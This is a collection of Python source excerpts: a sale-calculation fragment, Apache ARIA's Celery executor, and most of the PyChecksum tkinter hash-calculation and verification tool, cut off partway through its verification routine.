def get_biggest_sale(self):
return self.sale
@staticmethod
def process_entry(prod):
""" a) create a list of the dict's keys and values;
b) return the key with the max value"""
dict = prod.preturi_dict()
max_value = max(dict, key=lambda x: x['value'])
min_value = min(dict, key=lambda x: x['value'])
diff = 100 - ((min_value['value'] * 100)/max_value['value'])
return diff
def biggest_sale(self, model):
entries = model.query.all()
sales_list = [
{'id': e.idProdus,
'value': self.process_entry(e)}
for e in entries
]
return max(sales_list, key=lambda x: x['value'])
|
celery.py | # Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Celery task executor.
"""
import threading
import Queue
from aria.orchestrator.workflows.executor import BaseExecutor
class CeleryExecutor(BaseExecutor):
"""
Celery task executor.
"""
def __init__(self, app, *args, **kwargs):
super(CeleryExecutor, self).__init__(*args, **kwargs)
self._app = app
self._started_signaled = False
self._started_queue = Queue.Queue(maxsize=1)
self._tasks = {}
self._results = {}
self._receiver = None
self._stopped = False
self._receiver_thread = threading.Thread(target=self._events_receiver)
self._receiver_thread.daemon = True
self._receiver_thread.start()
self._started_queue.get(timeout=30)
def _execute(self, ctx):
self._tasks[ctx.id] = ctx
arguments = dict(arg.unwrapped for arg in ctx.task.arguments.itervalues())
arguments['ctx'] = ctx.context
self._results[ctx.id] = self._app.send_task(
ctx.operation_mapping,
kwargs=arguments,
task_id=ctx.task.id,
queue=self._get_queue(ctx))
def close(self):
self._stopped = True
if self._receiver:
self._receiver.should_stop = True
self._receiver_thread.join()
@staticmethod
def _get_queue(task):
return None if task else None # TODO
def _events_receiver(self):
with self._app.connection() as connection:
self._receiver = self._app.events.Receiver(connection, handlers={
'task-started': self._celery_task_started,
'task-succeeded': self._celery_task_succeeded,
'task-failed': self._celery_task_failed,
})
for _ in self._receiver.itercapture(limit=None, timeout=None, wakeup=True):
if not self._started_signaled:
self._started_queue.put(True)
self._started_signaled = True
if self._stopped:
return
def _celery_task_started(self, event):
self._task_started(self._tasks[event['uuid']])
def _celery_task_succeeded(self, event):
task, _ = self._remove_task(event['uuid'])
self._task_succeeded(task)
def _celery_task_failed(self, event):
task, async_result = self._remove_task(event['uuid'])
try:
exception = async_result.result
except BaseException as e:
exception = RuntimeError(
u'Could not de-serialize exception of task {0} --> {1}: {2}'
.format(task.name, type(e).__name__, str(e)))
self._task_failed(task, exception=exception)
def _remove_task(self, task_id):
return self._tasks.pop(task_id), self._results.pop(task_id)
|
pychecksum.py | # The MIT License (MIT)
#
# Copyright (c) 2018 Bryan San Juan Tavera
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
from app_image import image_code, paypal_code
from app_license import license_msg
from app_donate import donate_msg
from tkinter import filedialog
from threading import Thread
from subprocess import Popen
from tkinter import ttk
import webbrowser as wb
import winsound as ws
import tkinter as tk
import platform
import hashlib
import time
import os
class AddTooltip(object):
def __init__(self, widget, text):
"""
Initialize tooltip class
"""
self.widget = widget
self.text = text
self.time = None
self.block = False
self.display = False
self._set_styles()
self._set_formats()
self._create_styles()
self._create_tooltip()
self._add_tooltip()
def loc_inside_widget(self, loc_left, loc_top):
"""
Verify if location is inside widget
"""
widget_left = self.widget.winfo_rootx()
widget_top = self.widget.winfo_rooty()
widget_width = self.widget.winfo_width()
widget_height = self.widget.winfo_height()
is_inside = False
if widget_left < loc_left < (widget_left + widget_width):
if widget_top < loc_top < (widget_top + widget_height):
is_inside = True
return is_inside
def _set_styles(self):
"""
Setting frame and text styles
"""
self.frame_style = 'Gray.TFrame'
self.text_style = 'Gray.TLabel'
def _set_formats(self):
"""
Setting special formats
"""
self.geometry_fmt = '+{left}+{top}'
def _create_styles(self):
"""
Create frame and text styles
"""
self.styles = ttk.Style()
self.styles.configure(style=self.frame_style, background='dim gray')
self.styles.configure(style=self.text_style, foreground='dim gray', background='white')
def _create_tooltip(self):
"""
Create tooltip window
"""
self.tooltip = tk.Toplevel(self.widget)
self.tooltip.withdraw()
self.tooltip.overrideredirect(True)
self.frame = ttk.Frame(self.tooltip)
self.label = ttk.Label(self.frame, text=self.text)
self.frame.configure(style=self.frame_style, padding=1)
self.label.configure(style=self.text_style, padding=(2, 0))
self.frame.pack()
self.label.pack()
def _add_tooltip(self):
"""
Add tooltip to widget
"""
self.widget.bind('<Enter>', func=self.enter_event)
self.widget.bind('<Leave>', func=self.leave_event)
self.widget.bind('<Button-1>', func=self.leave_event)
def enter_event(self, event):
"""
Display tooltip after 500 ms when event is fired
"""
self.time = time.time()
self.block = False
self.display = False
self.widget.after(500, self.display_tooltip)
def leave_event(self, event):
"""
Hide tooltip after 0 ms when event is fired
"""
self.block = True
self.widget.after(0, self.hide_tooltip)
def display_tooltip(self):
"""
Display tooltip window
"""
if not self.block:
cursor_left = self.widget.winfo_pointerx()
cursor_top = self.widget.winfo_pointery()
is_inside = self.loc_inside_widget(cursor_left, cursor_top)
if is_inside:
self.display = True
kwargs = {'left': cursor_left, 'top': cursor_top + 18}
self.tooltip.geometry(self.geometry_fmt.format(**kwargs))
self.tooltip.deiconify()
self.widget.after(5000, lambda: self.hide_tooltip(5.5))
def hide_tooltip(self, sec=0.0):
"""
Hide tooltip window
"""
if (time.time() - self.time) > sec:
if self.display:
self.display = False
self.tooltip.withdraw()
class AddMoveControl(object):
def __init__(self, master, buttons, move='horizontal'):
"""
Initialize movement control class
"""
self.master = master
self.buttons = buttons
self.move = move.lower()
self.active_button = None
self._gen_button_dict()
self._add_move_control()
def _gen_button_dict(self):
"""
Generate button dictionary structure
"""
self.button_dict = {}
self.button_num = 0
for button in self.buttons:
self.button_num += 1
self.button_dict[self.button_num] = button
def _add_move_control(self):
"""
Add movement control to buttons
"""
direct_dict = {'horizontal': {'left': -1, 'right': 1, 'up': 0, 'down': 0},
'vertical': {'left': 0, 'right': 0, 'up': -1, 'down': 1}}
if self.move.count('v'):
self.move = 'vertical'
else:
self.move = 'horizontal'
self.direct = direct_dict[self.move]
self.master.bind('<Left>', func=self.select_button)
self.master.bind('<Right>', func=self.select_button)
self.master.bind('<Up>', func=self.select_button)
self.master.bind('<Down>', func=self.select_button)
self.master.bind('<Button-1>', func=self.deselect_button)
self.master.bind('<Button-2>', func=self.deselect_button)
self.master.bind('<Button-3>', func=self.deselect_button)
self.master.bind('<Escape>', func=self.deselect_button)
def select_button(self, event):
"""
Change button selection when event is fired
"""
self.deselect_button(event)
if self.active_button is None:
self.active_button = 1
else:
key = event.keysym.lower()
self.active_button += self.direct[key]
if self.active_button < 1:
self.active_button = self.button_num
elif self.active_button > self.button_num:
self.active_button = 1
self.button_dict[self.active_button].configure(state='active')
self.master.bind('<Return>', func=self.press_button)
def deselect_button(self, event):
"""
Release button selection when event is fired
"""
if self.active_button is not None:
self.button_dict[self.active_button].configure(state='normal')
self.master.unbind('<Return>')
key = event.keysym.lower()
if key not in self.direct:
self.active_button = None
def press_button(self, event):
"""
Invoke selected button when event is fired
"""
if self.active_button is not None:
active_button = self.active_button
self.deselect_button(event)
self.button_dict[active_button].invoke()
class MainApp(object):
def __init__(self, master=None, *args, **kwargs):
"""
Initialize main application
"""
self.master = master
if master is None:
self.window = self.open_window(MainWin, top_level=False, display=True)
self.window.master.mainloop()
def open_window(self, win_class, top_level=True, *args, **kwargs):
"""
Open a tkinter window by using a window class
"""
if top_level:
root = tk.Toplevel(self.master)
else:
root = tk.Tk()
return win_class(master=root, *args, **kwargs)
def close_window(self, window=None):
"""
Close a tkinter window
"""
if window is None:
window = self
window.master.withdraw()
window.master.after(0, window.master.destroy)
def display_window(self, window=None):
"""
Display a tkinter window
"""
if window is None:
window = self
window.master.deiconify()
window.master.update()
window.master.focus()
def hide_window(self, window=None):
"""
Hide a tkinter window
"""
if window is None:
window = self
window.master.withdraw()
class MainWin(MainApp):
def __init__(self, master=None, display=False, *args, **kwargs):
"""
Initialize main window
"""
if master is None:
master = tk.Tk()
super().__init__(master)
self.hide_window()
self._set_info()
self._set_dicts()
self._set_tooltips()
self._set_styles()
self._set_formats()
self._set_texts()
self._create_styles()
self._create_menus()
self._create_frames()
self._create_labels()
self._create_buttons()
self._center_window()
self._config_window()
if display:
self.display_window()
def _set_info(self):
"""
Setting application information
"""
self.app_author = 'Bryan San Juan Tavera'
self.app_year = '2018'
self.app_name = 'PyChecksum'
self.app_ver = '1.0'
self.app_title = ' '.join([self.app_name, self.app_ver])
self.app_phrase = 'The Python Checksum Program'
self.app_wiki_info = 'https://en.wikipedia.org/wiki/File_verification'
self.app_tutorial = 'https://www.youtube.com/channel/UCH6Fdvj08buQTV1dj-lJTQw'
self.app_website = 'https://github.com/pychecksum'
self.app_paypal = 'https://www.paypal.me/pychecksum'
self.app_email = 'pychecksum@gmail.com'
self.app_fma = 'https://en.wikipedia.org/wiki/Fullmetal_Alchemist:_Brotherhood'
self.app_image = tk.PhotoImage(master=self.master, data=image_code)
self.app_license = license_msg.format(year=self.app_year, author=self.app_author)
self.app_donate = donate_msg.format(name=self.app_name)
self.app_ini_dir = os.path.expanduser('~\Desktop')
def _set_dicts(self):
"""
Setting option, algorithm, and color dictionaries
"""
self.opt_dict = {1: 'Hash Calculation', 2: 'Hash Table Generation', 3: 'Hash Table Verification'}
self.alg_dict = {1: 'md5', 2: 'sha1', 3: 'sha224', 4: 'sha256', 5: 'sha384', 6: 'sha512'}
self.color_dict = {0: '#000000', 1: '#0000ff', 2: '#009900', 3: '#ff0000'}
def _set_tooltips(self):
"""
Setting option and algorithm tooltips
"""
self.opt_tooltip = {1: "Calculate the hash of a file",
2: "Generate the hash table of a directory",
3: "Verify the hash table of a directory"}
self.alg_tooltip = {1: "Use Message Digest Algorithm 5",
2: "Use Secure Hash Algorithm 1",
3: "Use Secure Hash Algorithm 224",
4: "Use Secure Hash Algorithm 256",
5: "Use Secure Hash Algorithm 384",
6: "Use Secure Hash Algorithm 512"}
def _set_styles(self):
"""
Setting text and button styles
"""
self.text_style = {0: 'Black.TLabel', 1: 'Blue.TLabel', 2: 'Green.TLabel', 3: 'Red.TLabel'}
self.button_style = {0: 'Black.TButton', 1: 'Blue.TButton', 2: 'Green.TButton', 3: 'Red.TButton'}
def _set_formats(self):
"""
Setting special formats
"""
self.copyright_fmt = 'Copyright © {year}{sep}{author}'
self.geometry_fmt = '{width}x{height}+{left}+{top}'
self.open_fmt = 'explorer /select,"{path}"'
self.action_fmt = '{action}... {path}'
self.icon_fmt = '::tk::icons::{type}'
self.title_fmt = '{main} ({add})'
self.info_fmt = '{info}: {data}'
self.hash_fmt = '{hash} *{path}\n'
self.err_fmt = '{err} *{path}\n'
self.sep_fmt = '-' * 120
def _set_texts(self):
"""
Setting window texts
"""
self.win_title = "Welcome!"
self.win_msg = "Please enter the option you want to use."
def _create_styles(self):
"""
Create text and button styles
"""
self.styles = ttk.Style()
for key in self.color_dict:
self.styles.configure(self.text_style[key], foreground=self.color_dict[key])
self.styles.configure(self.button_style[key], foreground=self.color_dict[key])
def _create_menus(self):
"""
Create file, help, and extra menus
"""
self.menu_bar = tk.Menu(self.master)
self.file_menu = tk.Menu(self.menu_bar, tearoff=False)
self.help_menu = tk.Menu(self.menu_bar, tearoff=False)
self.extra_menu = tk.Menu(self.menu_bar, tearoff=False)
self.file_menu.configure(activeforeground='black', activebackground='light blue')
self.help_menu.configure(activeforeground='black', activebackground='light blue')
self.extra_menu.configure(activeforeground='black', activebackground='light blue')
self.menu_bar.add_cascade(label='File', underline=0, menu=self.file_menu)
self.menu_bar.add_cascade(label='Help', underline=0, menu=self.help_menu)
self.menu_bar.add_cascade(label='Extra', underline=0, menu=self.extra_menu)
self.file_menu.add_command(label='Exit', underline=1, command=self.close_window)
self.help_menu.add_command(label='Wiki Info', underline=2, command=lambda: wb.open(self.app_wiki_info))
self.help_menu.add_command(label='Tutorial', underline=0, command=lambda: wb.open(self.app_tutorial))
self.help_menu.add_command(label='Website', underline=0, command=lambda: wb.open(self.app_website))
self.help_menu.add_command(label='About', underline=0, command=lambda: self.open_window(AboutWin))
self.extra_menu.add_command(label='Fullmetal Alchemist', underline=0, command=lambda: wb.open(self.app_fma))
self.master.configure(menu=self.menu_bar)
def _create_frames(self):
"""
Create upper and lower frames
"""
self.upper_frame = ttk.Frame(self.master)
self.lower_frame = ttk.Frame(self.master)
self.upper_frame.pack(fill='both', expand='yes')
self.lower_frame.pack(fill='both', expand='yes')
def _create_labels(self):
"""
Create title and message labels
"""
self.win_text = '\n'.join([self.win_title, self.win_msg])
self.label = ttk.Label(self.upper_frame, text=self.win_text)
self.label.configure(padding=10, justify='center')
self.label.pack(expand='yes')
def _create_buttons(self):
"""
Create option buttons
"""
self.button1 = ttk.Button(self.lower_frame, text=self.opt_dict[1])
self.button2 = ttk.Button(self.lower_frame, text=self.opt_dict[2])
self.button3 = ttk.Button(self.lower_frame, text=self.opt_dict[3])
self.button1.configure(style=self.button_style[1], padding=(15, 10), takefocus=False)
self.button2.configure(style=self.button_style[2], padding=(15, 10), takefocus=False)
self.button3.configure(style=self.button_style[3], padding=(15, 10), takefocus=False)
self.button1['command'] = lambda: self.open_window(AlgWin, main_win=self, opt_num=1, display=True)
self.button2['command'] = lambda: self.open_window(AlgWin, main_win=self, opt_num=2, display=True)
self.button3['command'] = lambda: self.open_window(AlgWin, main_win=self, opt_num=3, display=False)
self.button1.pack(side='left', fill='both', expand='yes', padx=(10, 2), pady=(0, 10))
self.button2.pack(side='left', fill='both', expand='yes', padx=(2, 2), pady=(0, 10))
self.button3.pack(side='left', fill='both', expand='yes', padx=(2, 10), pady=(0, 10))
AddTooltip(widget=self.button1, text=self.opt_tooltip[1])
AddTooltip(widget=self.button2, text=self.opt_tooltip[2])
AddTooltip(widget=self.button3, text=self.opt_tooltip[3])
self.buttons = [self.button1, self.button2, self.button3]
AddMoveControl(master=self.master, buttons=self.buttons)
def _center_window(self):
"""
Center main window
"""
self.master.update()
self.screen_width = self.master.winfo_screenwidth()
self.screen_height = self.master.winfo_screenheight()
self.win_width = self.master.winfo_reqwidth()
self.win_height = self.master.winfo_reqheight()
self.menu_bar_height = 10
self.task_bar_height = 40
system, version = platform.platform().split('-')[:2]
if (system == 'Windows') and (version < '8'):
if self.__class__ == ProcWin:
self.win_width += 86
self.win_height += 8
elif self.__class__ == LicenseWin:
self.win_width += 60
self.menu_bar_height = 12
self.win_left = (self.screen_width // 2) - (self.win_width // 2)
self.win_top = (self.screen_height // 2) - (self.win_height // 2)
if not hasattr(self, 'menu_bar'):
self.win_top += self.menu_bar_height
self.win_top -= self.task_bar_height
kwargs = {'width': self.win_width, 'height': self.win_height,
'left': self.win_left, 'top': self.win_top}
self.master.geometry(self.geometry_fmt.format(**kwargs))
def _config_window(self):
"""
Configure main window
"""
self.master.title(self.app_name)
self.master.iconphoto(True, self.app_image)
self.master.protocol('WM_DELETE_WINDOW', func=self.close_window)
self.master.minsize(self.win_width, self.win_height)
self.master.resizable(width=False, height=False)
class AlgWin(MainWin):
def __init__(self, master=None, main_win=None, opt_num=None, *args, **kwargs):
"""
Initialize algorithm window
"""
if main_win is None:
main_win = MainWin()
if opt_num is None:
opt_num = 1
self.main_win = main_win
self.opt_num = opt_num
self.app_ini_dir = None
super().__init__(master, *args, **kwargs)
if master is not None:
if opt_num == 3:
self.select_path(opt_num)
def select_path(self, opt_num, alg=None):
"""
Select a file or directory path to process
"""
func_dict = {1: [filedialog.askopenfilename, "Select a file"],
2: [filedialog.askdirectory, "Select a directory"],
3: [filedialog.askopenfilename, "Select a hash table file"]}
func, msg = func_dict[opt_num]
if opt_num == 3:
ini_dir = self.main_win.app_ini_dir
title = self.opt_dict[opt_num]
name = 'Hash table files'
exts = ';'.join([''.join(['*.', value]) for value in self.alg_dict.values()])
else:
ini_dir = self.app_ini_dir
title = self.title_fmt.format(main=self.opt_dict[opt_num], add=alg.upper())
name = 'All files'
exts = '*.*'
ask_root = tk.Toplevel(self.master)
ask_root.withdraw()
title = ' ➜ '.join([title, msg])
types = [(name, exts)]
if opt_num == 2:
path = func(parent=ask_root, initialdir=ini_dir, title=title)
else:
path = func(parent=ask_root, initialdir=ini_dir, title=title, filetypes=types)
try:
ask_root.destroy()
if not path:
if opt_num == 3:
self.close_window()
else:
new_dir = os.path.dirname(path)
if opt_num == 3:
self.main_win.app_ini_dir = new_dir
alg = os.path.splitext(path)[1][1:]
else:
self.app_ini_dir = new_dir
alg = alg.lower()
path = os.path.abspath(path)
kwargs = {'alg_win': self, 'opt_num': opt_num, 'alg': alg, 'path': path}
self.master.after(0, lambda: self.open_window(ProcWin, **kwargs))
except tk.TclError:
pass
def _set_texts(self):
"""
Setting window texts
"""
self.win_title = self.opt_dict[self.opt_num]
self.win_msg = "Please enter the algorithm you want to use."
def _create_buttons(self):
"""
Create algorithm buttons
"""
self.buttons = []
self.lower_frame.configure(padding=(10, 0))
stmt_a = "self.button{num} = ttk.Button(self.lower_frame, text='{text}', width=(len('{text}') + 2))"
stmt_b = "self.button{num}.configure(style='{style}', padding=(11, 3), takefocus=False)"
stmt_c = "self.button{num}['command'] = lambda self=self: self.select_path({opt_num}, '{alg}')"
stmt_d = "self.button{num}.pack(side='left', fill='both', expand='yes', pady=(0, 10))"
stmt_e = "AddTooltip(widget=self.button{num}, text=self.alg_tooltip[{num}])"
stmt_f = "self.buttons.append(self.button{num})"
for key, value in self.alg_dict.items():
exec(stmt_a.format(num=key, text=value.upper()))
exec(stmt_b.format(num=key, style=self.button_style[self.opt_num]))
exec(stmt_c.format(num=key, opt_num=self.opt_num, alg=value))
exec(stmt_d.format(num=key))
exec(stmt_e.format(num=key))
exec(stmt_f.format(num=key))
AddMoveControl(master=self.master, buttons=self.buttons)
class ProcWin(MainWin):
def __init__(self, master=None, alg_win=None, opt_num=None, alg=None, path=None, *args, **kwargs):
"""
Initialize process window
"""
if alg_win is None:
alg_win = AlgWin()
if opt_num is None:
opt_num = alg_win.opt_num
if alg is None:
alg = alg_win.alg_dict[1]
if path is None:
path = ''
self.alg_win = alg_win
self.opt_num = opt_num
self.alg = alg
self.path = path
super().__init__(master, *args, **kwargs)
self._create_progress_bar()
self._center_window()
if master is not None:
self.run_process(opt_num, alg, path, display=True)
def _create_progress_bar(self):
"""
Create progress bar
"""
self.label.configure(padding=16)
self.prog_bar = ttk.Progressbar(self.lower_frame, length=422)
self.prog_bar.pack(fill='both', expand='yes', padx=10, pady=(0, 10))
def run_process(self, opt_num, alg, path, display=False):
"""
Run application process
"""
func_dict = {1: self.calc_hash, 2: self.gen_hash, 3: self.verif_hash}
func = func_dict[opt_num]
args = (alg, path, display)
proc = Thread(target=func, args=args)
proc.start()
def calc_hash(self, alg, file_path, display=False):
"""
Calculate the hash of a file
"""
block_size = 2 ** 16
file_size = os.path.getsize(file_path)
total_num = int(file_size / block_size) + 1
stmt = 'hashlib.{method}()'
hasher = eval(stmt.format(method=alg))
if not display:
try:
with open(file_path, mode='rb') as file:
for i in range(total_num):
buffer = file.read(block_size)
hasher.update(buffer)
file_hash = hasher.hexdigest()
return file_hash
except PermissionError as perm_err:
return perm_err
else:
try:
self.display_window()
with open(file_path, mode='rb') as file:
for i in range(total_num):
chunk_num = i + 1
buffer = file.read(block_size)
hasher.update(buffer)
progress = (chunk_num / total_num) * 100
self.prog_bar['value'] = progress
self.master.update()
file_hash = hasher.hexdigest()
self.hide_window()
calc_msg = '\n\n'.join([self.win_title, file_path, file_hash])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 1, 'win_text': calc_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
except PermissionError as perm_err:
self.hide_window()
file_path = os.path.abspath(perm_err.filename)
calc_msg = '\n\n'.join([self.win_title, self.perm_msg, file_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 2, 'win_text': calc_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
except (tk.TclError, RuntimeError):
pass
def gen_hash(self, alg, dir_path, display=False):
"""
Generate the hash table of a directory
"""
dir_name = os.path.basename(dir_path)
hash_name = '.'.join([dir_name, alg])
hash_path = os.path.join(dir_path, hash_name)
err_path = '.'.join([hash_path, 'err'])
path_dict = {}
hash_lines = []
err_lines = []
if not display:
try:
for path, dirs, files in os.walk(dir_path):
for file in files:
file_path = os.path.join(path, file)
base_path = os.path.dirname(file_path)
if base_path != dir_path:
path_dict[file_path] = None
else:
file_ext = os.path.splitext(file_path)[1][1:].lower()
if file_ext not in self.alg_dict.values():
if file_ext != 'err':
path_dict[file_path] = None
else:
temp_path = os.path.splitext(file_path)[0]
file_ext = os.path.splitext(temp_path)[1][1:].lower()
if file_ext not in self.alg_dict.values():
path_dict[file_path] = None
for key in path_dict:
file_path = key
rel_path = os.path.relpath(file_path, start=dir_path)
file_hash = self.calc_hash(alg, file_path)
if type(file_hash) == str:
hash_line = self.hash_fmt.format(hash=file_hash, path=rel_path)
hash_lines.append(hash_line)
elif type(file_hash) == PermissionError:
err_line = self.err_fmt.format(err='Permission ', path=rel_path)
err_lines.append(err_line)
else:
err_line = self.err_fmt.format(err='Unknown ', path=rel_path)
err_lines.append(err_line)
if err_lines:
with open(err_path, mode='w', encoding='utf-8') as err_file:
time_info = self.info_fmt.format(info='Generated', data=time.ctime())
num_info = self.info_fmt.format(info='Number of Errors', data=len(err_lines))
err_title = 'Error Type'
header_lines = [self.app_title, self.app_website, self.sep_fmt, time_info,
num_info, self.sep_fmt, err_title, self.sep_fmt, '']
header_lines = '\n'.join(header_lines)
err_file.write(header_lines)
err_file.writelines(err_lines)
if os.path.isfile(hash_path):
os.remove(hash_path)
return err_lines
elif hash_lines:
with open(hash_path, mode='w', encoding='utf-8') as hash_file:
time_info = self.info_fmt.format(info='Generated', data=time.ctime())
num_info = self.info_fmt.format(info='Number of Hashes', data=len(hash_lines))
alg_title = self.title_fmt.format(main='Hash Algorithm', add=alg.upper())
header_lines = [self.app_title, self.app_website, self.sep_fmt, time_info,
num_info, self.sep_fmt, alg_title, self.sep_fmt, '']
header_lines = '\n'.join(header_lines)
hash_file.write(header_lines)
hash_file.writelines(hash_lines)
if os.path.isfile(err_path):
os.remove(err_path)
return hash_lines
else:
return None
except PermissionError as perm_err:
return perm_err
else:
try:
self.prog_bar.configure(mode='indeterminate')
kwargs = {'action': 'Reading', 'path': dir_path}
win_text = self.modif_text.format(**kwargs)
self.label.configure(text=win_text)
self.display_window()
self.prog_bar.start(15)
for path, dirs, files in os.walk(dir_path):
for file in files:
file_path = os.path.join(path, file)
base_path = os.path.dirname(file_path)
if base_path != dir_path:
path_dict[file_path] = None
else:
file_ext = os.path.splitext(file_path)[1][1:].lower()
if file_ext not in self.alg_dict.values():
if file_ext != 'err':
path_dict[file_path] = None
else:
temp_path = os.path.splitext(file_path)[0]
file_ext = os.path.splitext(temp_path)[1][1:].lower()
if file_ext not in self.alg_dict.values():
path_dict[file_path] = None
self.prog_bar.stop()
self.prog_bar.configure(mode='determinate')
kwargs = {'action': 'Processing', 'path': dir_path}
win_text = self.win_text.format(**kwargs)
self.label.configure(text=win_text)
total_num = len(path_dict)
file_num = 0
for key in path_dict:
file_num += 1
file_path = key
rel_path = os.path.relpath(file_path, start=dir_path)
file_hash = self.calc_hash(alg, file_path)
if type(file_hash) == str:
hash_line = self.hash_fmt.format(hash=file_hash, path=rel_path)
hash_lines.append(hash_line)
elif type(file_hash) == PermissionError:
err_line = self.err_fmt.format(err='Permission ', path=rel_path)
err_lines.append(err_line)
else:
err_line = self.err_fmt.format(err='Unknown ', path=rel_path)
err_lines.append(err_line)
progress = (file_num / total_num) * 100
self.prog_bar['value'] = progress
self.master.update()
if err_lines:
with open(err_path, mode='w', encoding='utf-8') as err_file:
time_info = self.info_fmt.format(info='Generated', data=time.ctime())
num_info = self.info_fmt.format(info='Number of Errors', data=len(err_lines))
err_title = 'Error Type'
header_lines = [self.app_title, self.app_website, self.sep_fmt, time_info,
num_info, self.sep_fmt, err_title, self.sep_fmt, '']
header_lines = '\n'.join(header_lines)
err_file.write(header_lines)
err_file.writelines(err_lines)
if os.path.isfile(hash_path):
os.remove(hash_path)
self.hide_window()
gen_msg = '\n\n'.join([self.win_title, self.err_msg, err_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 2, 'win_text': gen_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
elif hash_lines:
with open(hash_path, mode='w', encoding='utf-8') as hash_file:
time_info = self.info_fmt.format(info='Generated', data=time.ctime())
num_info = self.info_fmt.format(info='Number of Hashes', data=len(hash_lines))
alg_title = self.title_fmt.format(main='Hash Algorithm', add=alg.upper())
header_lines = [self.app_title, self.app_website, self.sep_fmt, time_info,
num_info, self.sep_fmt, alg_title, self.sep_fmt, '']
header_lines = '\n'.join(header_lines)
hash_file.write(header_lines)
hash_file.writelines(hash_lines)
if os.path.isfile(err_path):
os.remove(err_path)
self.hide_window()
gen_msg = '\n\n'.join([self.win_title, self.ok_msg, hash_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 1, 'win_text': gen_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
else:
self.hide_window()
gen_msg = '\n\n'.join([self.win_title, self.empty_msg, dir_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 2, 'win_text': gen_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
except PermissionError as perm_err:
self.hide_window()
file_path = os.path.abspath(perm_err.filename)
gen_msg = '\n\n'.join([self.win_title, self.perm_msg, file_path])
kwargs = {'proc_win': self, 'alg_win': self.alg_win,
'win_type': 2, 'win_text': gen_msg}
self.master.after(0, lambda: self.open_window(MsgWin, **kwargs))
except (tk.TclError, RuntimeError):
pass
def verif_hash(self, alg, hash_path, display=False):
"""
Verify the hash table of a directory
"""
dir_path = os.path.dirname(hash_path)
err_path = '.'.join([hash_path, 'err'])
path_dict = {}
hash_dict = {}
skip_dict = {}
err_lines = []
if not display:
try:
for path, dirs, files in os.walk(dir_path):
for file in files:
file_path = os.path.join(path, file)
base_path = os.path.dirname(file_path)
if base_path != dir_path:
path_dict[file_path] = None
else:
file_ext = os.path.splitext(file_path)[1][1:].lower()
if file_ext in self.alg_dict.values():
skip_dict[file_path] = None
else:
if file_ext != 'err':
path_dict[file_path] = None
else:
temp_path = os.path.splitext(file_path)[0]
file_ext = os.path.splitext(temp_path)[1][1:].lower()
if file_ext in self.alg_dict.values():
skip_dict[file_path] = None
else:
path_dict[file_path] = None
with open(hash_path, mode='r', encoding='utf-8') as hash_file:
for line in hash_file:
if line.count('*'):
file_hash, rel_path = map(str.strip, line.split('*')[:2])
file_hash = file_hash.lower()
file_path = os.path.join(dir_path, rel_path)
file_path = os.path.abspath(file_path)
base_path = os.path.dirname(file_path)
if base_path == dir_path:
file_ext = os.path.splitext(file_path)[1][1:].lower()
if file_ext in self.alg_dict.values():
skip_dict[file_path] = None
else:
if file_ext == 'err':
temp_path = os.path.splitext(file_path)[0]
file_ext = os.path.splitext(temp_path)[1][1:].lower()
if file_ext in self.alg_dict.values():
skip_dict[file_path] = None
if file_path not in hash_dict:
hash_dict[file_path] = file_hash
else:
err_line = self.err_fmt.format(err='Duplicated ', path=rel_path)
if err_line not in err_lines:
err_lines.append(err_line)
if file_path in skip_dict:
err_line = self.err_fmt.format(err='Not skipped', path=rel_path)
if err_line not in err_lines:
err_lines.append(err_line)
if not os.path.isfile(file_path):
err_line = self.err_fmt.format(err='Not found ', path=rel_path)
if err_line not in err_lines:
err_lines.append(err_line)
for key in path_dict:
file_path = key
rel_path = os.path.relpath(file_path, start=dir_path)
if file_path not in hash_dict:
err_line = self.err_fmt.format(err='Not listed ', path=rel_path)
err_lines.append(err_line)
else:
old_hash = hash_dict[file_path]
new_hash = self.calc_hash(alg, file_path)
if type(new_hash) == str:
if new_hash != old_hash:
err_line = self.err_fmt.format(err='Not match ', path=rel_path)
err_lines.append(err_line)
elif type(new_hash) == PermissionError:
err_line = self.err_fmt.format(err='Permission ', path=rel_path)
err_lines.append(err_line)
else:
err_line = self.err_fmt.format(err='Unknown ', path=rel_path)
err_lines.append(err_line)
if err_lines:
with open(err_path, mode='w', encoding='utf-8') as err_file:
time_info = self.info_fmt.format(info='Generated', data=time.ctime())
num_info = self.info_fmt.format(info='Number of Errors', data=len(err_lines))
err_title = 'Error Type'
header_lines = [self.app_title, self.app_website, self.sep_fmt, time_info,
